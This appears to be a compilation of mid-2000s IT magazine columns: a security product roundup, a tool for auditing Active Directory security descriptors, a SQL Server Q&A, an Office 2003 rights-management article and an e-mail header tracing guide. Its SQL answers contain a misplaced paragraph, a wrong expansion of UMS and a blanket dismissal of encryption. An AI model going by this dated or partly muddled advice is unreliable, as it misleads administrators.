The application explores the computer and its contents to identify vulnerabilities and potential exploits. It can identify and block predatory or malicious processes. It can also protect against new and unknown exploits by simply blocking any process that is used by hackers in order to infiltrate the system. Anti-Cracker Shield can protect Windows NT® services without actually switching them off. It does not hinder computer performance and does not crash the PC when an attack occurs.
Price: $79 US Workstation and $499 US Server Edition. A free demo version is available for evaluation.

Make Your Host Anonymous
www.port80software.com/products
The less an attacker knows about the target Web server, the more likely he will resort to behaviors that make him an easy target for an intrusion detection system (IDS) rule set. That is why an IDS, like a firewall or antivirus system, should be supplemented by host anonymization—the hiding or obfuscating of vendor, version, and other information that malicious hackers use to profile the software running on a host prior to mounting an attack.
This is where tools like ServerMask 2.2 from Port80 Software come in. By keeping a Microsoft IIS Web server from being "fingerprinted" by a hacker, ServerMask increases the efficiency of intrusion detection systems.
Popular among government and financial organizations, ServerMask 2.2 provides extensive masking of HTTP response data for IIS (hiding, altering, or randomizing the Server header, changing HTTP header order, masking any header, and masking ASP session cookies).
ServerMask 3.0 takes this idea even further, allowing IIS to defeat all attempts at HTTP-level fingerprinting and to thwart stack scanners like NMAP that use subtle variations in different vendors' TCP/IP implementations to fingerprint the operating system itself.
Price: $99.95 for a single server license. A 30-day free trial is available for download.

Advanced Application Security Firewall
www.rimapp.com
RoadBLOCK (RimApp Technologies), based on Microsoft Internet Security and Acceleration (ISA) Server 2004, is an intelligent network security appliance providing advanced application-layer firewall, VPN, and Web cache capabilities in a dedicated hardware security solution. A full range of products are available to suit both small to medium businesses and also enterprise businesses.
ISA Server 2004, part of Windows Server System, is the advanced stateful inspection application that enables users to easily maximize existing IT investments by improving network security and performance.
The RoadBLOCK's Web interface provides centralized Web management for each and every ISA Server 2004 firewall feature. RimApp's RoadBLOCK Web-based administration tool makes complex firewall configuration tasks simple by using everyday language.
The RoadBLOCK Firewall includes enhanced security and ease of management tools, powered by GFI, a developer of messaging, content security, and network security software. These include e-mail antivirus and content checking, Web content checking, intrusion detection, anti-Trojan and anti-spam disclaimers, mail archiving, real-time Web monitoring, Web download antivirus, and security scanning and patch management.
Price: Estimated SRP is $2,300.

All prices were confirmed at press time and are subject to change.
Marnie Hutcheson is president of Ideva, a firm that specializes in Web application design, development, and hosting. She has published a variety of technical papers and books on various computing topics. You can reach her at marnie@ideva.com.


 Utility Spotlight: Analyze Security Descriptors with searchSd
Utility Spotlight
Analyze Security Descriptors with searchSd

Download the code for this article: searchSd.exe (126KB)

Scenario
Your IT department is interested in conducting security audits. The group wants to have statistics generated about the usage of access control entries (ACEs) in their domain deployment. They want to be able to run a job every Sunday at 1:00 A.M. that will log the results to a file. These logs can then be examined to check for any new access rights that have been added to Active Directory® or for any existing objects that have been hidden, and possible signs of suspicious activity that should be investigated further.
As part of their audits, the IT department finds a security group that they are interested in deleting due to inactivity. They're convinced this group is not being used, but how do they know for sure?

Tool
The searchSd command-line tool was written by Gokay Hurmali, a Software Design Engineer in Test working in the Microsoft Directory and Identity Services group. The tool analyzes security descriptors of objects in Active Directory. The creation of searchSd was motivated by the absence of a built-in way for Windows® to search for authorization data within Active Directory. Active Directory stores security descriptors as binary attributes of objects and as a result does not allow for customized searching of a descriptor's fields.
This tool has two modes. The first mode is accessed by running searchSd with the /test:searchDacl switch. This mode will search the discretionary access control list (DACL) of a security descriptor and will compile a customized report for the ACEs in the DACL. From this, it's possible to construct a general overview of the authorization hierarchy of an Active Directory environment. The tool can also dump all of the explicit ACEs found during the search.
Running searchSd with the /test:dumpOwner switch gives you access to the second mode, which generates a report that describes the owner field of each security descriptor found. To see all the objects in the report, add the /dumpObjects switch to the command line.
In both modes, by default the search scope is the entire subtree under the domain naming context. However, this can be configured with the /objectDN, /filter, and /Scope switches, allowing for more control over the target search space.
When the tool is run, it performs an LDAP search and retrieves the list of all objects in the default or user-specified search scope. It then reads the binary security descriptor information of each object and uses it to compile the output report. searchSd can run against a domain controller or Active Directory Application Mode (ADAM) service from any machine in the network, and it does not need to run locally on the domain controller or ADAM server itself, though it is able to do so.
In addition to outputting information to the console, the searchSd tool can generate a report file containing all of the requested information.
Figure 1 shows the tool being used to get an overall picture of object owner-ship in the domain. You can download the searchSd.exe utility from the link at the top of this article.
Figure 1 Object Ownership in the Domain (Close Figure 1)
C:\>searchSd.exe /test:dumpOwner /hostmachine:myDc /admin:Administrator /adminpwd:Iw02tS!y /domain:myDomain

tool_dumpOwner: total objects checked: 11916 failure to read SD   : 0

BUILTIN\Administrators (S-1-5-32-544)
    owns   13 objects
MYDOMAIN\Domain Admins (S-1-5-21-306529421-2353485120-531261498-512)
    owns  11890 objects
NT AUTHORITY\SYSTEM (S-1-5-18)
    owns    8 objects
MYDOMAIN\DS3X12$ (S-1-5-21-306529421-2353485120-531261498-7753)
    owns    2 objects
unknown sid  [S-1-5-21-4047798943-3841610301-3130714431-512]
    owns    1 objects
unknown sid  [S-1-5-21-306529421-2353485120-531261498-1105]
    owns    1 objects
MYDOMAIN\ua (S-1-5-21-306529421-2353485120-531261498-16464)
    owns    1 objects

Time elapsed for searchSd.LOG.00003.xml: 8 Seconds.


 SQL Q&amp;A: SQL Server Express, Encrypting Data, and More
SQL Questions & Answers
SQL Server Express, Encrypting Data, and More
Edited by Nancy Michell

Database Sizer Tools
Q Where can I find a database sizer tool that can be used for large SQL Server™ databases?
A You should start with the Scalability and Very Large Database Resource Web site . There you'll find sizing tools, links to case studies, best practices, and more.
The Microsoft offering, DataSizer, is included in the BackOffice® Resource Kit, along with a few other tools, including:
  • A data simulator
  • A database generator
  • The SQL Namespace Browser (for SQL Namespace objects)
  • A Visual Basic® to T-SQL Converter
  • SQL Synchronization Tools
Read more about the resource kit at SQL Server 7.0 Resource Guide: Chapter 9 - Tools and Utilities. Dell and HP also have online hardware sizing estimates for SQL Server (including the equipment they recommend for your particular application).

SQL Server System Tables Map
Q Where can I get a copy of a SQL Server system tables map?
A The system tables map can be found at SQL Server System Table Map. The file is an HTML Help file that lets you drill down into each kind of table to discover its child tables, column names, data types, and their descriptions. Figure 1 shows the first page of the interface.
Figure 1 System Tables
Figure 1 System Tables

Import Data from Text
Q What's the best way to import data from text files into SQL Server where a mix of inserts and updates is required?
A Using a worktable is one way to do this. Bulk-load features in SQL Server only provide fast insert capabilities. If you have control over the process that creates the text files, it might be better to create two files—one with inserts and another with updates only. This way you can bulk insert the new rows using bulk copy and use a worktable approach for updates.
SQL Server 2005 Express Edition
Q Is it possible to connect to a SQL Server 2005 Express Edition instance using the SQL 2000 Query Analyzer? If yes, how do I refer to the Express instance?
A The SQL Server Express blog discusses this and other questions related to the beta release of SQL Server 2005 Express Edition. Connecting to the Express Edition from a downlevel client consists of four steps: making sure the Express Edition is running correctly, enabling the necessary protocols for SQLEXPRESS (the Named Pipes and TCP protocols), restarting the Express Edition, and finally starting the SQL Browser service with the net start sqlbrowser command.

However, the best all-around way to do this is to use Data Transformation Services (DTS). It can handle the mix of inserts and updates more elegantly and more efficiently that any other method, and it provides the same benefits as using Bulk Copy Program (BCP) and worktables.

Cancel Long Queries
Q What's the best way to terminate long-running queries launched from ASP.NET? The queries could be against the relational SQL databases or against online analytical processing (OLAP) cubes.
A To begin, run the query on its own thread, asynchronously for example; then use the Cancel method for the ADO.NET or ADOMD.net command object.
There is no difference between the Cancel method for ADO.NET and ADOMD.NET. Both send a request to the server (through MSOLAP or directly to SQL Server) to cancel the currently running command. What is sent to the server depends on the underlying library being used to access SQL Server. Ultimately, the request is not sent in XML; it is sent as a Tabular Data Stream (TDS) token that instructs the server to cancel the connection's currently running query. The API responsible for doing this might be called from SQLClient, OLE DB, ODBC, or DB-Library, but ultimately they all resolve to the same thing: a TDS that instructs the server to terminate the current user's query.
Note that this does nothing to the thread per se, and this doesn't work against the XML for Analysis (XMLA) SDK. XMLA will attempt to cancel queries in SQL Server 2005 by sending the cancel request to the server, but this is not guaranteed to be an immediate operation.
Consider not including such a large dimension in the cube. Why put the users in a position where they need to cancel? To avoid this, you can build a virtual cube and remove the offending dimension.
Encrypting SQL Data
Q I have a SQL Server 2000 SP3 database schema which is a build of Table A with a foreign key to Table B. Because the data in Table B is sensitive, I keep it encrypted, but that's not secure enough for my needs. I am looking for a best-practice solution to be able to hide the relationship between the two tables—even from the database administrator of the system.
A Database administrators sometimes encrypt the data inside a SQL Server database. Usually this is the wrong path to take. If you build a secure box, audit it, and protect access with tight access control, there is really no point in encrypting the data itself. This creates many issues including overhead, sorting, stored procedures, and more.
Furthermore, there is no way to "encrypt" the database schema. That said, you can hide the data and the objects from the database administrator by using explicit deny and not giving him permissions as owner. However, using deny complicates your database design while offering no real advantages beyond what auditing access and controlling System Administrator role membership will provide. Consider the fact that the majority of the most sensitive data in the world resides on mainframe databases without encryption.
If you really must implement encryption, even though threat modeling will show how useless it is, at least do it with SQL Server 2005. With the .NET integration of this upcoming version, it will help you minimize the performance hit.

Max Worker Threads
Q What value should the Max Worker Threads in SQL Server be set to in order to support 3,000 concurrent users?
A By default the Max Worker Threads setting is 255, which means that up to 255 worker threads are allowed to be created. The default setting of 255 works well most of the time. This does not mean, though, that you can only establish 255 user connections. A system can have thousands of user connections (which are essentially multiplexed down to 255 worker threads) and, in general, users do not perceive any delays. In such a case, only 255 queries can run concurrently, but this is multiplexed down to the number of available CPUs, so the concurrency is only a perception anyway, regardless of the number of configured worker threads.
If you configure a number of worker threads to a value that is greater than the default, it is almost always counterproductive and slows performance because of scheduling and resource overhead. Only increase this setting under very unusual circumstances and when rigorous methodical testing demonstrates that it is useful to do so. Knowledge Base article 319942 ("Determine Proper SQL Server Configuration Settings") explains the issue.
Q Is there a way to calculate the amount of system resources that would be used when increasing the Max Worker Threads setting from 255 to 500?
A You should calculate memory consumption at 0.5MB per thread, but you should first try to define what problem you're trying to solve. Increasing this setting will waste 512KB of virtual memory address space for each additional worker thread. It's quite common for 255 worker threads to service thousands of user connections. There is no hard affinity between Unified Messaging Server (UMS) workers and user connections.
Unfortunately, there isn't a lot of good information out there on how UMS works. SQL Server 2000 Books Online contains useful information about Max Worker Threads and performance (../Books/adminsql.chm::/ad_config_09wu.htm.)
You can determine for sure whether a lack of worker threads is the cause of any of your bottlenecks by simply checking dbcc sqlperf(umsstats) during the slowdowns. Some basic diagnostics such as Profiler traces and Perfmon logs collected during the slowdowns would be useful.

Thanks to the following Microsoft professionals for their technical expertise: Nader Albussam, Rashid Jean-Baptiste, Sasha (Alexander) Berger, Christian Bolton, Tom Carey, Robert Dorr, Brian Goldstein, Cindy Gross, Ken Henderson, Abdy Iman, Umachandar Jayachandran, Dinesh Krishnamoorthy, Ross LoForte, Han Pin Loke, Simona Marin, Akshai Mirchandani, Josh Moody, Maxwell Myrick, Savitha Padmanabhan, Ward Pond, Venkata Popuri, Stephen Quinn, Simon Rapier, Gandhi Swaminathan, Kadri Umay, Madhusudhanan Vadlamaani, Eric Weaver, Gary Zaika, and Ning Zhu.


 Office Space: Information Rights Management In Office 2003
Office Space
Information Rights Management In Office 2003
Alok Mehta

Today's knowledge workers deal with sensitive information all the time. This information comes in a variety of formats such as Microsoft Word, Excel, PowerPoint®, and e-mail documents, and it must all be protected from unauthorized access and distribution. For a long time, there has been a need for a technology that can encrypt this kind of information, allowing access to authorized persons only, and enforcing those rights restrictions everywhere that a document goes. In addition, authors should be able to define the duration for which recipients can read a document, as well as whether they can print, forward, edit, extract its contents, or save an unprotected version.
Additional Information
RMS and IRM
Windows RMS Server
Windows RMS Client
Windows RMS SDK
Windows RMS Toolkit

It should also be possible to extend these restrictions to other documents as well. In other words, restrictions should be policy-based, which in turn should be template-based, so that organizations can easily define custom policies. Finally, this access control should integrate into applications already in use by these organizations.

IRM to the Rescue
Information Rights Management (IRM) is a new feature of Microsoft® Office 2003 designed to enhance collaboration methods by allowing the restrictions previously discussed to be placed in Word 2003, Excel 2003, PowerPoint 2003, and Outlook® 2003 documents. To this end, IRM uses encryption, permissions, and ownership to restrict unauthorized access.
IRM relies on Active Directory® and Microsoft Windows® Rights Management Services (RMS)—a new service offered in Windows Server™ 2003—and extends RMS to Microsoft Office 2003. RMS handles the licensing, machine certification/activation, user enrollment, and administrative functions. RMS is the engine on which IRM runs. RMS in turn relies on Windows Server Active Directory and uses Microsoft SQL Server™ to store configuration data. For more about RMS, see the sidebar "The Foundation of IRM."
On the desktop, creating or viewing protected documents requires an RMS-enabled application. See the sidebar "Requirements to Set Up IRM and RMS" for more detailed information.
IRM is an information protection technology that offers persistent file-level protection. Once permission for a document or e-mail message has been restricted with IRM, these restrictions will always travel with the document or the e-mail message as part of the contents of the file in order to prevent sensitive information from being printed, forwarded, or copied by any unauthorized individuals.
Figure 1 RMS and IRM Interaction
Figure 1 RMS and IRM Interaction
In this column, I will explore the IRM feature and and how RMS works in the background. I'll also briefly look at how to use IRM in Word 2003, Excel 2003, PowerPoint 2003, and Outlook 2003 from the IT professional's point of view. Refer to Figure 1 for an overview of how RMS and IRM interact. It's important to note that RMS and IRM are not information security per se, but rather information protection and policy enforcement. This can of course be a component of one's information security strategy.

Rights for E-mail Messages in Outlook 2003
The Foundation of IRM
IRM runs on the RMS engine. RMS for Windows Server 2003, which includes both server and client components, is an information protection service that works with RMS-enabled applications to encrypt digital information to protect it from unauthorized use. RMS provides the building blocks displayed in a simple Web-based user interface, as shown here:
Encryption The process by which data is transformed with electronic keys: RMS encrypts information, making access conditional on the successful validation of the trusted parties. Once information is encrypted, only trusted parties that are granted usage rights under the specified conditions can decrypt the information in an RMS-enabled application or browser.
Permission Granted to individuals, groups of users, and applications that are trusted participants in an RMS system. By establishing trusted parties using licenses and certificates, RMS can restrict access to only trusted participants.
Ownership Defines how a specific trusted entity can use the information. Examples of named rights are permission to read, copy, print, save, forward, and edit. Usage rights can be accompanied by conditions, such as when those rights expire.
RMS allows the owner of a document to perform the following actions using a simple browser-based user interface:
Create rights-protected files and containers Users who are trusted parties in an RMS system can easily create and manage protected files using familiar authoring applications and tools that incorporate RMS technology. In addition, RMS-enabled applications allow users to apply centrally defined and officially authorized rights policy templates such as Company Confidential.
License and distribute rights-protected documents The certificates issued by an RMS system identify trusted parties that can publish or view rights-protected documents. Users who are trusted in an RMS system can assign usage rights and conditions to information they want to protect via an RMS-enabled application. These usage policies specify who can use the information and what they can do with it. In a process that is generally transparent to the users, the RMS system validates the trusted parties and issues the publishing licenses that contain the specified usage rights and conditions for the information. The information is encrypted using the electronic keys from the RMS-enabled application and the certificates of the trusted parties. After the information is encrypted by this mechanism, only the trusted parties specified in the publishing licenses can decrypt and use that information. Users can then distribute the rights-protected documents to other users in their organization via e-mail, internal servers, or external sites to enable trusted external partners to access the information.
Acquire licenses to decrypt rights-protected documents Recipients who are trusted can open or view rights-protected documents by using trusted computers and applications. These RMS-enabled applications enforce the usage rights that were defined by the author of the information. In a process that is transparent to the recipient, the RMS server, which has the public key that was used to encrypt the information, validates the recipient's credentials and then issues a use license that contains the usage rights and conditions that were specified in the publishing license. The information is decrypted using the electronic keys from the end-user license agreement and the certificates of the trusted parties. The usage rights and conditions are then enforced by the RMS-enabled application. Once again, the usage rights attached to the document are persistent and enforced everywhere that the information travels.

E-mail is now one of the primary methods of communication within and between institutions. E-mails that contain confidential information can be easily forwarded, even accidentally, to a competitor or a vendor. Rights-protected e-mail helps protect against leaks, especially the accidental type. IRM can be used in Microsoft Office Outlook 2003 to help prevent e-mail forwarding, cutting, pasting, copying, editing, or printing. Protected messages are always encrypted, and when the sender assigns rights to the message, Outlook 2003 enforces the prescribed rights by disabling the restricted commands so that the receiver can not forward, edit, copy, or print its contents. In addition, Office 2003 documents attached to protected messages inherit the same restrictions and are protected too.

How IRM Protects
Here's an example of how IRM works with Outlook 2003 to implement privacy.
John is an executive who needs to send his team a private e-mail with a Word 2003 document attached. Using RMS, his company has created an Organization Private template that automatically applies all of the appropriate rights as predefined by John's IT group. John selects the template for his e-mail message, which also imparts the same set of restrictions to the attached Word 2003 document. The Organization Private template says that only employees within the organization can read the information. As employees open the e-mail and the attachment, RMS-enabled Outlook 2003 and Word 2003 enforce the rights and restrictions on the document. Also specified by the Organization Private template, employees cannot cut, copy, save, or edit either the e-mail message or the attached Word document to an unsecured format. If they try to digitally share this information outside of the organization, the unauthorized recipient will not be able to open the e-mail or the Word document.
Now imagine that a team member sends a request to John asking permission to share the e-mail and attachment to an outside team that is working on the same project. The outside team uses a hosting provider for its RMS solution and is a trusted partner of John's company's RMS solution. John applies the appropriate rights for the outside team and then sends the e-mail to members of that team, who can then view the e-mail and the document.

How IRM Works in Excel, PowerPoint, and Word
Office 2003 documents can be protected on a per-user or group basis based on Active Directory. Each user or group can be given a set of permissions according to the rights defined by document owner. These rights allow the user to read, change, or have full control over the document.
IRM disables commands that the particular recipient does not have the right to execute. In addition to the aforementioned restrictions, owners can also set document expiration dates (which can be extended). After expiration, the document still exists, but it cannot be opened by anyone other than the owner.
If an unauthorized recipient attempts to open a protected document, a message is displayed to inform the user that it is rights-protected. The document owner has the option of providing their e-mail address in that message so the unauthorized recipient can request rights to access the document.
The following scenario illustrates how IRM works to implement privacy.
In RMS-enabled Word 2003, Steve uses the permissions option to set the rights for a document that he needs to share with another user, Nancy, in their branch office. Steve posts his document to an internal file server. Nancy then receives an e-mail from Steve pointing her to the document's location. According to the rights that Steve set for the document, Nancy can view and edit it for one week only. She downloads the document to her laptop and opens it up for review. Because the rights are persistent, they remain with the information, even if the laptop is not connected to the LAN.
After a week, Nancy determines that she needs additional time to review the document. As she can no longer open the doc, she requests that Steve grant her more time to continue reviewing it. Steve grants the permission by extending the expiration date and reposts the document. Nancy downloads this updated version and is able to continue reviewing the document as defined by the usage rights.
Enforcement of rights is performed at the application level. Office 2003 is currently the only application from Microsoft that can create rights-protected docs. Microsoft provides a free Rights Management Add-on for Internet Explorer that will enable users without Office 2003 to view a rights-protected document. This add-on is available for download from Rights Management Add-on for Internet Explorer.

Authoring an IRM Document
If you take a look at Figure 2, you'll see how a document or e-mail is protected with RMS. The steps illustrated in the figure are explained here:
1 The author receives a client licensor certificate from the RMS server the first time they apply rights protection to a document. This step enables offline publishing of rights protected documents in the future.
Figure 2 RMS Protection
Figure 2 RMS Protection
2 Using an RMS-enabled application, the author creates a file and defines a set of usage rights and conditions for that file. A publishing license is then generated that contains the usage policies. The application then encrypts the file with a symmetric key, which is then encrypted with the public key of the author's RMS server. The key is then inserted into the publishing license and the publishing license is bound to the file. Only the author's RMS server can issue use licenses to decrypt this file. The author then distributes the file.
Requirements to Set Up IRM and RMS
You will need Microsoft Windows Server 2003 with Windows Rights Management Services (RMS) to enable IRM in Office 2003. RMS is designed to make the most of existing infrastructure investments by using Active Directory Discovery and Windows NT LAN Manager (NTLM) authentication. At the server level, the following is needed to run RMS:
  1. Windows Server 2003 with RMS server software. RMS is a new service for Windows Server 2003 Standard, Enterprise, Web, and Datacenter editions.
  2. Internet Information Services.
  3. Windows Server Active Directory service (Windows Server 2000 or later). Active Directory accounts are used to acquire and use licenses.
  4. A database, such as Microsoft SQL Server to store configuration data.
To take advantage of this new technology, you must also install the RMS Client. You will need administrative rights to install this client on your computer and ensure it functions properly. The following must be installed at the client machine:
  1. RMS Client software.
  2. An RMS-enabled application is required for creating or viewing rights-protected content.
Microsoft Office 2003 includes four RMS-enabled applications available from Microsoft: Outlook 2003, Word 2003, Excel 2003, and PowerPoint 2003. Microsoft Office Professional Edition 2003 is required for creating or viewing rights-protected Microsoft Office System documents such as spreadsheets, presentations, and e-mail messages.
Other Office 2003 Editions allow designated users to view and edit rights-protected documents if they have been given those rights by the author. They cannot create rights-protected content.
Microsoft also offers a free trial for customers who do not have Windows Server 2003. This service will enable users to share documents and messages with restricted permission using Microsoft .NET Passport as the authentication mechanism, as opposed to Active Directory. Please visit the Office Web site at for free trial service of IRM.

3 A recipient receives a rights-protected file through any distribution mechanism and opens it using an RMS-enabled application or browser. If the recipient does not have an account certificate on the current computer, the user will now be issued one.
4 The application sends a request for a use license to the RMS server that issued the publishing license for the protected information. The request includes the recipient's account certificate, which contains the recipient's public key, and the publishing license, which contains the symmetric key that encrypted the file. A publishing license issued by a client licensor certificate includes the URL of the server that issued the certificate. In this case, the request for a use license goes to the RMS server that issued the client licensor certificate and not to the actual computer that issued the publishing license.
5 The RMS licensing server validates that the recipient is authorized, checks that the recipient is a named user, and creates a use license.
6 During this process, the server decrypts the symmetric key using the private key of the server, re-encrypts the symmetric key using the public key of the recipient, and adds the encrypted session key to the use license. This step ensures that only the intended recipient can decrypt the symmetric key and thus decrypt the protected file. The server also adds any relevant conditions to the use license, such as the expiration of an application or operating system exclusion. When the validation is complete, the licensing server returns the use license to the recipient's client computer.
7 After receiving the use license, the application examines both the license and the recipient's account certificate to determine whether any certificate in either chain of trust requires a revocation list. If so, the application checks for a local copy of the revocation list that has not expired. If necessary, it retrieves a current copy of the revocation list. The application then applies any revocation conditions that are relevant in the current context. If no revocation condition blocks access to the file, the application renders the data, and the user may exercise the rights they have been granted.
This process is essentially the same whether the recipient is within the publishing organization or outside of it. The recipient is not required to be inside the author's network or domain to request a use license. All that is required is a valid account certificate for the recipient and access to the licensing server that issued the publishing license.
RMS can be set up to enable external sharing of rights-protected documents. Users can share information with other trusted users over the Internet. This deployment offers the same level of protection as an intra-company RMS deployment because an RMS server must license the rights that are attached to a rights-protected file.

Deploying RMS
The process of deploying RMS consists of the following steps:
Hardware Setup See the hardware, software, and infrastructure requirements described in Enabling Information Protection in Microsoft Office 2003 with Rights Management Services and Information Rights Management.
RMS Server Setup Install, enroll, and register the RMS server software. During the enrollment process, the administrator installs RMS server software on the root server. The version of RMS installed on the server and the organization's URL is collected, and a public/private key pair is created. The server sends the public key along with the RMS version and URL information to the RMS Server Enrollment Service in a request for a RMS Licensor Certificate. The RMS Server Enrollment Service returns the RMS Licensor Certificate. Enrollment using the RMS Server Enrollment Service is required for at least one server within every RMS system. Servers added subsequently to the RMS root cluster use the same RMS Licensor Certificate. When you add a new server to an existing root installation or licensing-only server cluster, the new server is not explicitly enrolled because it takes on the entire existing configuration of the cluster.
RMS server(s) can be configured along with Windows Load Balancing Services (WLBS), and there are several possible topologies of RMS server configurations. Figure 3 shows a typical RMS topology.
Figure 3 RMS Topology
Figure 3 RMS Topology
RMS Client Setup Every client computer that will participate in the RMS system must be set up so that it is established as a trusted entity within the system. Client computer setup consists of verifying the presence of the RMS Client component and activating the client computer. After a client computer is set up, the infrastructure is in place to permit users with RMS-enabled applications to publish and consume rights-protected data. Each client computer must have the RMS Client component installed. This component is available from the Windows Update Catalog or from the Microsoft Download Web site. In the next version of Windows, the client component will be built into the operating system. Software deployment tools such as Microsoft Systems Management Server (SMS) can ensure that clients have the component installed or can rely on the installation of an RMS-enabled app to initiate the request to the Windows Update Catalog for the component. This component is required by RMS-enabled apps and is used for the client activation process.
Register RMS Users When a user attempts to use RMS (for example, by using IRM in Microsoft Office 2003 programs), the following occurs. First, the machine obtains a certificate that activates it as a computer capable of creating protected content. The user then obtains a certificate that associates him or her with that computer, and enables the creation of protected content.
IRM deployment depends upon RMS deployment. As RMS is deployed, IRM deployment is as simple as installing the RMS Client at the desktop and deploying Office 2003. The client machine and each user then receive a certificate allowing IRM usage as I described in the previous subsection "Register RMS Users."

Conclusion
To protect sensitive information such as customer data, financial reports, product specifications, and confidential e-mail messages, you need a strategy. Information Rights Managements and Windows Rights Management Services help protect information through persistent usage policies, which remain with the information no matter where it goes. If you intend to use Windows Server 2003, you should consider an RMS/IRM solution. RMS is simple to set up and IRM very easy to use, so I highly recommend these two technologies as part of your overall data security solution.

Alok Mehta, PhD, is the CTO and Senior VP of AFS Technologies Inc. in Weston, MA where he is in charge of technology research and development. Alok has published several research papers on component-based software engineering and Web development. Reach him at amehta@afs-link.com.


 How IT Works: E-mail Headers
How IT Works
E-mail Headers
R'ykandar Korra'ti

As a network administrator, you've just seen fifty copies of the same e-mail virus sent to your users. How do you know which machine is infected? Is it someone inside your own company or someone external you can block?
Often, you can isolate it to a single machine by analyzing the one portion of the header your own e-mail server provides. Figure 1 shows a real-life example (all real names have been changed).
Figure 1 Analyzing E-mail (Close Figure 1)
Received: from microsoft.net ([69.66.109.194])
        by lodestone.microsoft.net with ESMTP
        id HAA19424
        for <sample@microsoft.net>; Fri, 5 Mar
        2004 07:30:22 -0800
From: firstname.lastname@sample.state.ia.us
Message-Id:
  <200403051530.HAA19424@lodestone.microsoft.net>
To: sample@microsoft.net
Subject: Re: Your bill
Date: Fri, 5 Mar 2004 09:36:35 -0600
X-Priority: 3
X-MSMail-Priority: Normal
The important data is in the Received: line. Each time a server receives an SMTP message, it is supposed to add a new Received: line at the beginning of the header block. The topmost line will have been added by your server.
My e-mail server added the topmost line in this example; since there are no other Received: lines further below it, it is probably safe to assume that it was delivered directly to my system by an embedded mini-SMTP engine running on an infected machine. Had there been more than one Received: line, the first one might have been a relaying mail server. As servers are not as likely to be infected as clients, you may want to skip down to the second entry.
The Received: line provides information in this format:
Received: from <info supplied by sender—untrustworthy>
(<info provided by our server—trustworthy>)
by <our server> with <protocol>
<message ID> {for <email address>}; <date>
Your concern should lie with the information provided by your server; that's the data in parentheses following the "from" information supplied by the sender. The sender-provided information will almost always be invalid in virus and spam mail, so you can just ignore it.
In this example, the information added by my server consisted only of the IP address of the machine handing me the message—69.66.109.194. That's the least amount of information you'll get. There may also be a machine name before the IP address, but still within the parentheses. If present, it is also trustworthy information and saves you the next step.
Two tools are needed to discover and verify the name of this machine and the owner of its domain: nslookup (host, on some operating systems) and whois. Both nslookup and host provide DNS lookups against hostnames or IP addresses:
C:\>nslookup 69.66.109.194

194.109.66.69.in-addr.arpa domain name pointer
dwtt-00-0194.dsl.cascadiatelecom.net.
I now know the sender is in the domain cascadiatelecom.net. I've already learned that Cascadia Telecom supports reverse-DNS lookups, although not all network providers do. For those that don't, you must apply the whois tool.
To oversimplify a bit, whois provides information about domains rather than individual hosts. This tool is generally used to identify the owner of a particular domain, as shown in Figure 2. Whois can also be used to identify the owner of an IP address, or range of IP addresses, when you don't know the name of the domain. A network of top-level whois servers exists for this purpose. These are whois.apnic.net (Asia-Pacific), whois.arin.net (Americas), and whois.ripe.net (Europe), covering different geographical domains. As a rule of thumb, test against the server your geographical area first; if that fails, keep going until you find one that works. I already know my example is in North America, but if I didn't, that's where I'd start (see Figure 3).
Figure 3 The IP Address Owner (Close Figure 3)
OrgName:    Cascadia Telecom
NetRange:   69.66.0.0 - 69.66.255.255
CIDR:       69.66.0.0/16
NetName:    CASCADIA-TELECOM
NameServer: AR.CASCADIATELECOM.NET
NameServer: HE.CASCADIATELECOM.NET
OrgTechName:   Cascadia Telecom NOC
OrgTechPhone:  +1-877-555-1212
OrgTechEmail:  noc@cascadiatelecom.net
Figure 2 The Domain Owner (Close Figure 2)
Domain Name: MICROSOFT.COM
   Registrar: TUCOWS INC.
   Whois Server: whois.opensrs.net
   Referral URL: http://domainhelp.tucows.com
   Name Server: NS3.MSFT.NET
   Name Server: NS1.MSFT.NET
   Name Server: NS2.MSFT.NET
   Name Server: NS5.MSFT.NET
   Name Server: NS4.MSFT.NET
   Updated Date: 23-jun-2004
   Creation Date: 02-may-1991
   Expiration Date: 03-may-2014
With any batch of virus mail received, you'll see a cacophony of sender-provided misinformation. But with a little analysis, you'll often find most of it actually came from one or two infected (and easily blocked and disinfected) machines.

R'ykandar Korra'ti, a glass sculptor, lives in Seattle with her partner Anna, and is postmaster for a small co-op ISP. Having shipped many e-mail products, she retired from Microsoft in 1999 to focus on her art career.


 Post Mortem: Dissecting A Successful Campus Integration Project
Post Mortem
Dissecting A Successful Campus Integration Project
Theresa Auricchio

The Project:
Two colleges in the City University of New York (CUNY) system needed to implement a student retention system. The system, a client/server application, would sit beside an IBM mainframe.

Challenges:
  • The colleges had no existing security architecture, meaning that the network was compromised on a regular basis.
  • The colleges also had no operating system standard, so the solution had to work cross-platform. One college used Oracle 9i as its database system, while the other used SQL Server™ 2000.
  • The IT department had no trained personnel available to serve as a project liaison.
  • The consultant had to guarantee the integrity of the software and data without the authority or funding to implement additional solutions outside of their own.

The Plan:
The consultant would implement the student retention system in three phases. First, Lehman College would get its system in place, followed by Bronx Community College (BCC) in the second phase. Finally, the two colleges would be linked. The consultant turned to Microsoft technologies as a common baseline for each site, plugging them into the existing environment while allowing CUNY to avoid costly and disruptive changes to their infrastructure.

The Consultant:
ATSI, Adaptive Technology Solutions Inc., is a software development and consulting firm specializing in collaborative applications. The company focuses on improving operations and communications by streamlining business processes. They specialize in administrative processes and centralized records storage in education, finance, telecommunications, and government.

Background:
The CUNY system is academically rich, but resources are extremely limited. The core student information system, which encompasses finance, course schedule, and student registration, resides on an IBM mainframe. What you see on the mainframe is what you get; new routines and reports are not feasible since Lehman College employs a single, desperately overworked mainframe programmer.
As the college and the diversity of its population grew over the years, educators found that individuals were getting lost in the system. There was no way to formally identify students needing assistance. The dropout rate was suspected to be higher in certain student populations, but this was difficult to measure.
A Title V grant opened up possibilities for Lehman College educators and administrators. New data beyond registration, financial aid, and grades could now be harnessed, so administrators went to work deciding what they would need to move ahead.
Since it would prove to be a problem incorporating all this data into the existing IBM mainframe, the ATSI project team decided that the new system would have to stand side-by-side with the IBM mainframe as a client-server application. Problems with the university's network security ended up ruling out the use of Web applications. The only workstation requirement on the client is that the operating system should be Windows® 2000 or Windows XP.

How They Pulled It Off
The final goal at Lehman College is a student retention app called the Student Retention and Development System (SRDS) consisting of survey data, referrals data, long-range academic plans, advising tools, faculty data entry screens, and reporting.
To take advantage of existing data, ATSI created a routine to populate the SRDS Oracle9i database with collected data that was stored on the mainframe. A translation table was created to give user-friendly meaning to those pesky mainframe number codes (56784 would now read "freshman," 980 would mean "English 101," to give a couple examples).
